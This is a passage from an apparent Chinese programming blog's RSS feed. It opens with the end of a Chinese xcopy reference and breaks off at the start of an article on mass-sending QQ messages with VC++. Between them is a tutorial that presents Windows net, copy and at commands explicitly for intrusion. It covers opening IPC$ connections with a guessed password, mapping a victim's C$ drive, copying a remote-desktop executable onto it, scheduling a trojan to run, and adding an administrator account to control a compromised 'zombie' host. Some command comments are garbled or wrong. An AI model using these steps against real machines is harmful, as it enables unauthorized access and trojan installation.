&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;指定&amp;#8220;Destination&amp;#8221;是文件还是目录 &lt;/P&gt;
&lt;P&gt;如果&amp;#8220;Destination&amp;#8221;不包含现有目录且不以反斜杠 (\) 结尾，会出现下列消息： &lt;/P&gt;&lt;PRE class=codeSample&gt;Does destination specify a file name or directory name on the target (F = file, D = directory)?&lt;/PRE&gt;
&lt;P&gt;如果要将一个或多个文件复制到一个文件，请按 F。如果要将一个或多个文件复制到一个目录，请按 D。 &lt;/P&gt;
&lt;P&gt;使用&amp;#8220;/i&amp;#8221;命令行选项可禁止显示该消息，从而导致&amp;#8220;xcopy&amp;#8221;认定在源是多个文件或一个目录的情况下，目标是一个目录。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;使用&amp;#8220;xcopy&amp;#8221;命令设置&amp;#8220;Destination&amp;#8221;文件的存档属性 &lt;/P&gt;
&lt;P&gt;&amp;#8220;xcopy&amp;#8221;命令创建具有存档属性设置的文件，无论源文件中是否设定了此属性。有关文件属性和&amp;#8220;attrib&amp;#8221;的详细信息，请参阅&amp;#8220;相关主题&amp;#8221;。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;比较&amp;#8220;xcopy&amp;#8221;和&amp;#8220;diskcopy&amp;#8221;&lt;/P&gt;
&lt;P&gt;如果磁盘的子目录中包含文件，要将其复制到具有不同格式的磁盘中，请使用&amp;#8220;xcopy&amp;#8221;命令，而不要使用&amp;#8220;diskcopy&amp;#8221;。因为&amp;#8220;diskcopy&amp;#8221;命令是一个磁道接一个磁道地复制磁盘，所以需要源磁盘和目标磁盘的格式必须相同。&amp;#8220;xcopy&amp;#8221;命令没有这个要求。通常情况下请使用&amp;#8220;xcopy&amp;#8221;，除非您需要完整的磁盘映像副本。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=listBullet vAlign=top&gt;&amp;#8226;&lt;/TD&gt;
&lt;TD class=listItem&gt;
&lt;P&gt;&amp;#8220;xcopy&amp;#8221;的退出代码&lt;/P&gt;
&lt;P&gt;要处理&amp;#8220;xcopy&amp;#8221;返回的退出代码，请在批处理程序的&amp;#8220;if&amp;#8221;命令行上使用&amp;#8220;ErrorLevel&amp;#8221;参数。有关使用&amp;#8220;if&amp;#8221;处理退出码的批处理程序的示例，请参阅&amp;#8220;相关主题&amp;#8221;。下表列出每一个退出代码和描述。&lt;/P&gt;
&lt;TABLE class=dataTable id=E4EAC cellSpacing=0 cellPadding=0&gt;
&lt;THEAD&gt;
&lt;TR&gt;
&lt;TD class=tableHeader colSpan=2&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR class=stdHeader vAlign=top&gt;
&lt;TD id=colEAFAC&gt;退出代码&lt;/TD&gt;
&lt;TD id=colEDFAC style="BORDER-RIGHT: #cccccc 1px solid"&gt;描述&lt;/TD&gt;&lt;/TR&gt;&lt;/THEAD&gt;
&lt;TBODY&gt;
&lt;TR class=record vAlign=top&gt;
&lt;TD&gt;
&lt;P class=lastInCell&gt;0&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #cccccc 1px solid"&gt;
&lt;P class=lastInCell&gt;文件复制没有错误。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR class=evenRecord vAlign=top&gt;
&lt;TD&gt;
&lt;P class=lastInCell&gt;1&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #cccccc 1px solid"&gt;
&lt;P class=lastInCell&gt;没有找到要复制的文件。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR class=record vAlign=top&gt;
&lt;TD&gt;
&lt;P class=lastInCell&gt;2&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #cccccc 1px solid"&gt;
&lt;P class=lastInCell&gt;用户按 Ctrl+C 终止了&amp;#8220;xcopy&amp;#8221;。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR class=evenRecord vAlign=top&gt;
&lt;TD&gt;
&lt;P class=lastInCell&gt;4&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #cccccc 1px solid"&gt;
&lt;P class=lastInCell&gt;出现了初始化错误。没有足够的内存或磁盘空间，或命令行上输入了无效的驱动器名称或语法。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR class=record vAlign=top&gt;
&lt;TD&gt;
&lt;P class=lastInCell&gt;5&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #cccccc 1px solid"&gt;
&lt;P class=lastInCell&gt;出现了磁盘写入错误。&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;DIV class=dataTableBottomMargin&gt;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;H5&gt;示例&lt;/H5&gt;
&lt;P&gt;要从驱动器 A 将所有文件和子目录（包括所有空的子目录）复制到驱动器 B，请键入： &lt;/P&gt;
&lt;P&gt;&lt;B&gt;xcopy a: b: /s /e &lt;/B&gt;&lt;/P&gt;
&lt;P&gt;要包含上一示例中的任何系统或隐藏文件，请按如下所示添加&amp;#8220;/h&amp;#8221;命令行选项：&lt;/P&gt;
&lt;P&gt;&lt;B&gt;xcopy a: b: /s /e /h&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;要使用 \Rawdata 目录中 1993 年 12 月 29 日后更改的文件更新 \Reports 目录中的文件，请键入： &lt;/P&gt;
&lt;P&gt;&lt;B&gt;xcopy \rawdata \reports /d:12-29-1993&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;要更新上例中 \Reports 中存在的所有文件而不考虑日期，请键入：&lt;/P&gt;
&lt;P&gt;&lt;B&gt;xcopy \rawdata \reports /u&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;要获得前一个命令要复制的文件列表而不实际复制文件，请键入：&lt;/P&gt;
&lt;P&gt;&lt;B&gt;xcopy \rawdata \reports /d:12-29-1993 /l &amp;gt; xcopy.out&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;文件 Xcopy.out 列出了要复制的所有文件。&lt;/P&gt;
&lt;P&gt;要将 \Customer 目录及其所有子目录复制到网络驱动器 H: 上的目录 \\Public\Address，保留只读属性，并在 H: 上创建新文件时对您做出提示，请键入：&lt;/P&gt;
&lt;P&gt;&lt;B&gt;xcopy \customer h:\public\address /s /e /k /p&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;要发出上一个命令，确保在 \Address 目录不存在时&amp;#8220;xcopy&amp;#8221;会创建该目录，并禁止显示创建新目录时出现的消息，请按如下所示添加&amp;#8220;/i&amp;#8221;命令行选项：&lt;/P&gt;
&lt;P&gt;&lt;B&gt;xcopy \customer h:\public\address /s /e /k /p /i&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;可以创建批处理程序执行&amp;#8220;xcopy&amp;#8221;操作，并且使用&amp;#8220;if&amp;#8221;批处理命令在发生错误时处理退出代码。例如，以下的批处理程序使用了可替换的&amp;#8220;xcopy&amp;#8221;源和目标参数： &lt;/P&gt;&lt;PRE class=codeSample&gt;@echo off rem COPYIT.BAT transfers all files in all subdirectories of rem the source drive or directory (%1) to the destination

rem drive or directory (%2)

xcopy %1 %2 /s /e

if errorlevel 4 goto lowmemory if errorlevel 2 goto abort if errorlevel 0 goto exit :lowmemory echo Insufficient memory to copy files or echo invalid drive or command-line syntax. goto exit

:abort echo You pressed CTRL+C to end the copy operation. goto exit :exit &lt;/PRE&gt;
&lt;P&gt;要使用该批处理程序将 C:\Prgmcode 目录及其子目录中的所有文件复制到驱动器 B 中，请键入： &lt;/P&gt;
&lt;P&gt;&lt;B&gt;copyit c:\prgmcode b:&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;该命令解释程序将用&amp;#8220;C:\Prgmcode&amp;#8221;替换&amp;#8220;%1&amp;#8221;，用&amp;#8220;B:&amp;#8221;替换&amp;#8220;%2&amp;#8221;，然后执行带&amp;#8220;/e&amp;#8221;和&amp;#8220;/s&amp;#8221;命令行选项的&amp;#8220;xcopy&amp;#8221;。如果&amp;#8220;xcopy&amp;#8221;遇到错误，批处理程序将读取退出码并转到相应&amp;#8220;IF ERRORLEVEL&amp;#8221;语句中指示的标签，然后显示相应的消息并退出批处理程序。&lt;/P&gt;&lt;img src ="http://blog.vckbase.com/jim97/aggbug/20002.html" width = "1" height = "1" /&gt;</description></item><item><dc:creator>木子的blog</dc:creator><title>必要的一些基础的网络命令</title><link>http://blog.vckbase.com/jim97/articles/19998.html</link><pubDate>Thu, 11 May 2006 02:28:00 GMT</pubDate><guid>http://blog.vckbase.com/jim97/articles/19998.html</guid><wfw:comment>http://blog.vckbase.com/jim97/comments/19998.html</wfw:comment><comments>http://blog.vckbase.com/jim97/articles/19998.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://blog.vckbase.com/jim97/comments/commentRss/19998.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/jim97/services/trackbacks/19998.html</trackback:ping><description>&lt;BR&gt;我们所谓的基础命令其实也就是WIN 2K，WIN XP系统下的一些DOS命令，这个命令都又CMD.exe来完成&lt;BR&gt;概念部分：&lt;BR&gt;（1）2000、XP下的CMD与98的MS-DOS的不同之处：&lt;BR&gt;cmd.exe叫命令提示符他与98下的MS-DOS是不一样的，所以我们不能将他混为一谈，但是我们却可以用CMD.exe来执行很多DOS命令，例如：dir、cd、del等等！&lt;BR&gt;（2）CMD下的内部命令与外部命令的不同：&lt;BR&gt;CMD下的内部命令就是指：我们可以直接在CMD下就可以执行的命令，例如：telnet、ftp、dir、cd、等等，你可以在CMD下输入help进行查看,外部命令呢，就是cmd下不能直接运行的命令，（例如大家常用的nc）他需要在CMD下切换到他（NC）做在的目录你才能运行NC及NC的命令 &lt;BR&gt;实操部分：&lt;BR&gt;(一)：常用入侵防护命令：&lt;BR&gt;Net 、telnet 、at、copy、ftp、finger、del~~~~~~&lt;BR&gt;一些常用的Net命令与例子：&lt;BR&gt;（1）建立IPC连接的命令 &lt;BR&gt;Net use //IP/ipc$ &amp;#8220;&amp;#8221; /user:username&lt;BR&gt;例如：&lt;BR&gt;Net use //127.0.0.1/ipc$ 123456 /user :administrator&lt;BR&gt;这个命令的意思就是与用户名为adminidtrator用户密码为123456的主机127.0.0.1建立ipc$空连接&lt;BR&gt;(2) 删除IPC$空连接&lt;BR&gt;Net use //ip /del&lt;BR&gt;例如：&lt;BR&gt;Net use //127.0.0.1 /del&lt;BR&gt;删除与主机127.0.0.1已经建立的Ipc$连接&lt;BR&gt;(3) 启动关闭服务：&lt;BR&gt;Net start&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//查看已经开启的服务&lt;BR&gt;Net start servername&lt;BR&gt;Net stop servername&lt;BR&gt;例如：&lt;BR&gt;Net start telnet&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//开启telnet服务&lt;BR&gt;Net stop telnet&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//关闭telnet服务&lt;BR&gt;(4)启动关闭共享&lt;BR&gt;Net shate ipc$Content$nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //开启ipc$默认共享&lt;BR&gt;Net share ipc$ /del&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//关闭ipc$默认共享&lt;BR&gt;Net share c=c:/&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //完全共享c盘&lt;BR&gt;Net share d=d:/&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //删除完全共享的d盘&lt;BR&gt;(4) 映射硬盘&lt;BR&gt;Net use z: //ip/c$&lt;BR&gt;例如：&lt;BR&gt;Net use z: //127.0.0.1/c$Content$nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //把127.0.0.1的C盘映射成本机的z盘&lt;BR&gt;说明：映射成功后，你在我的电脑里面里面就会多出一个硬盘Z，其实Z就是127.0.0.1的C盘！&lt;BR&gt;Net use z: /del&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//断开映射&lt;BR&gt;入侵中的作用：把对方的硬盘映射过来以后我们就能直接复制文件到对方的硬盘下面了&lt;BR&gt;成功实现的条件：必须与对方建立ipc$连接&lt;BR&gt;(5) 远程复制文件_Copy&lt;BR&gt;Copy e:/3389.exe //127.0.0.1/c$Content$nbsp;&amp;nbsp;&amp;nbsp;//将本地的E盘下的3389.exe这个文件copy到对方系统的C盘根目录下&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Copy在入侵中的作用：把本地文件复制到对方硬盘&lt;BR&gt;Copy复制成功所需的条件：必须与主机建立ipc$连接&lt;BR&gt;(6) 查看远程系统的时间&lt;BR&gt;&amp;nbsp;&amp;nbsp; Net&amp;nbsp;&amp;nbsp;time //IP&lt;BR&gt;&amp;nbsp;&amp;nbsp; Net&amp;nbsp;&amp;nbsp;time //127.0.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //查看远程主机127.0.0.1的本地时间&lt;BR&gt;&amp;nbsp;&amp;nbsp; 作用：得到对方时间好为自己计划任务种下木马做准备&lt;BR&gt;(7) 远程运行程序&lt;BR&gt;&amp;nbsp;&amp;nbsp; At //ip time server.exe&lt;BR&gt;&amp;nbsp;&amp;nbsp; At //127.0.0.1 12:30 c:/server.exe&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //让主机在中午12:30分运行我们已经复制到他C &lt;BR&gt;盘根目录下的木马server.exe &lt;BR&gt;在入侵中作用：这样我们就可以用我们的木马服务端来连接我们木马，，更好的使用图形方式来控制肉鸡&lt;BR&gt;（8）添加管理员帐号：&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Net user username 1234 /add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//添加一个密码为1234名字为&amp;nbsp;&amp;nbsp;username的用户&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Net localgroup administrators juntuan /add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//把username这个用户添加到管 理员组&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 注意：有些系统的管理员组不是administrators你要根据实际情况来改，不过99.9%的系统的管理员组还是administrators的。&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 修改用户密码：&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Net user username 1234&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //把用户username的密码修改成1233。&lt;BR&gt;（9）远程登陆主机_telnet&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; telnet IP port&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 例如：telnet 127.0.0.1 1234&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//连接登陆127.0.0.1的1234端口&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; （当目标主机的端口是默认的23的时候我们不需要+端口即：telnet IP 就好）&lt;BR&gt;（10）传输文件命令_ftp&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;其实这个我个人觉得用途不大，毕竟当你拿到了FTP密码之后你可以用flashftp或者cutftp有一个图形截面的交互如何不好呢？&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;首先在CMD里面输入ftp&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;然后输入：open IP port&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;例如：open 127.0.0.1 1234&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//连接登陆127.0.0.1的1234端口&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;如何开启windows系统自带的ftp服务：&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Net start msftppsvc&lt;BR&gt;(11)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;查看文件夹的属性_cacls&lt;BR&gt;Cacls xiaod&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //查看xiaod这个文件夹的属性&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 参数说明：F：（完全控制）R：（只读）C：（允许更改）W：（允许写入）N：（没有任何权限）&lt;BR&gt;(12)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;删除文件_del&lt;BR&gt;Del是用来删除文件命令&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;首先进入你想删除的文件的目录&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Del xiaod.txt&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //删除xiaod.txt这个个文件&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Del xiaod.txt /f&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //强制删除xiaod.txt这个个文件（当该文件无法正常删除的时候使用该命令）&lt;BR&gt;(13) finger命令&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Finger是一个信息刺探命令一般在对方开启了79端口时命令使用&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Finger &amp;#8211;l user @computer&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 参数详解： -l 用长列表格式显示消息&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;User:指定用户的信息&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 成功实现的条件：对方必须安装tcp/ip协议&lt;BR&gt;(14)：文件写入命令_echo:&lt;BR&gt;Echo 你好 &amp;gt; index.htm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//用你好来覆盖index.htm的内容&lt;BR&gt;Echo 你好 &amp;gt;&amp;gt;index.htm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //将&amp;#8220;你好&amp;#8221;添加到index.htm&lt;BR&gt;（15）：写入注册表文件_regedit&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Regedit /s filename.reg&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //s是写入参数&lt;BR&gt;(16)：端口映射_chgport&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Chgport 3=5&amp;nbsp;&amp;nbsp; //将端口3映射到5&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Chgport /d*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//删除所有端口映射&lt;BR&gt;(17)：文件映射_subst&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Subst b:/ c:/winnt&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //这个时候当你访问硬盘B的时候你就是访问了&amp;nbsp;&amp;nbsp;c:/winnt目录&lt;BR&gt;(18)：查看当前正在使用的帐号：&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Query session&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //查看帐号&lt;BR&gt;(19)：踢掉指定用：&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Logoff id&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //注意ID，是在用query session查看到的用户的id而不是用户名。&lt;BR&gt;(20)：发送消息给某用户或者内网主机&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Net send hostname or /IP message&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;例如：net send xiaod or /127.0.0.1 hello!&lt;img src ="http://blog.vckbase.com/jim97/aggbug/19998.html" width = "1" height = "1" /&gt;</description></item><item><dc:creator>木子的blog</dc:creator><title>利用VC++ 实现QQ消息群发</title><link>http://blog.vckbase.com/jim97/articles/11793.html</link><pubDate>Fri, 02 Sep 2005 07:36:00 GMT</pubDate><guid>http://blog.vckbase.com/jim97/articles/11793.html</guid><wfw:comment>http://blog.vckbase.com/jim97/comments/11793.html</wfw:comment><comments>http://blog.vckbase.com/jim97/articles/11793.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://blog.vckbase.com/jim97/comments/commentRss/11793.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/jim97/services/trackbacks/11793.html</trackback:ping><description>&lt;TABLE width="100%"&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;
&lt;TABLE cellSpacing=2 cellPadding=2 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD vAlign=top align=left width="100%"&gt;&lt;SPAN class=small&gt;作者： Administrator &lt;/SPAN&gt;&amp;nbsp;&amp;nbsp; &lt;/TD&gt;
&lt;TD class=buttonheading vAlign=top align=right width=20&gt;&lt;A title=输出PDF href="javascript:void%20window.open('http://www.pptel.net/index2.php?option=com_content&amp;amp;do_pdf=1&amp;amp;id=356', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no');"&gt;&lt;IMG alt=输出PDF src="file:///E:/backup/Recycled/Study/vc/利用VC++%20QQ消息群%20-%20WideView.files/pdf_button.png" align=middle border=0 name=image&gt; &lt;/A&gt;&lt;/TD&gt;
&lt;TD class=buttonheading align=right width="100%"&gt;&lt;A title=打印 href="javascript:void%20window.open('',%20'win2',%20'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no');"&gt;&lt;IMG alt=打印 src="file:///E:/backup/Recycled/Study/vc/利用VC++%20QQ消息群%20-%20WideView.files/printButton.png" align=middle border=0 name=image&gt; &lt;/A&gt;&lt;/TD&gt;
&lt;TD class=buttonheading vAlign=top align=right width=20&gt;&lt;A title=E-mail href="javascript:void%20window.open('http://www.pptel.net/index2.php?option=com_content&amp;amp;task=emailform&amp;amp;id=356', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=400,height=250,directories=no,location=no');"&gt;&lt;IMG alt=E-mail src="file:///E:/backup/Recycled/Study/vc/利用VC++%20QQ消息群%20-%20WideView.files/emailButton.png" align=middle border=0 name=image&gt; &lt;/A&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class=createdate vAlign=top colSpan=2&gt;2005-01-29 &lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD vAlign=top colSpan=2&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;　&lt;B&gt;摘要&lt;/B&gt; 在Windows系统环境中，利用操作系统的消息驱动机制模拟QQ消息发送过程，实现QQ消息群发。&lt;BR&gt;&lt;BR&gt;　　&lt;B&gt;关键字&lt;/B&gt; QQ消息群发 软件模拟 消息循环 SPY++ &lt;BR&gt;&lt;BR&gt;　　&lt;/FONT&gt;&lt;A href="http://www.mydown.com/code/202/202449.html" target=_blank&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono" color=#ff0000&gt;下载本文源代码&lt;/FONT&gt;&lt;/A&gt;&lt;BR&gt;&lt;BR&gt;&lt;FONT style="FONT-SIZE: 9pt" face="Courier new, Courier, Mono"&gt;　　&lt;B&gt;一、引言&lt;/B&gt;&lt;BR&gt;&lt;BR&gt;　　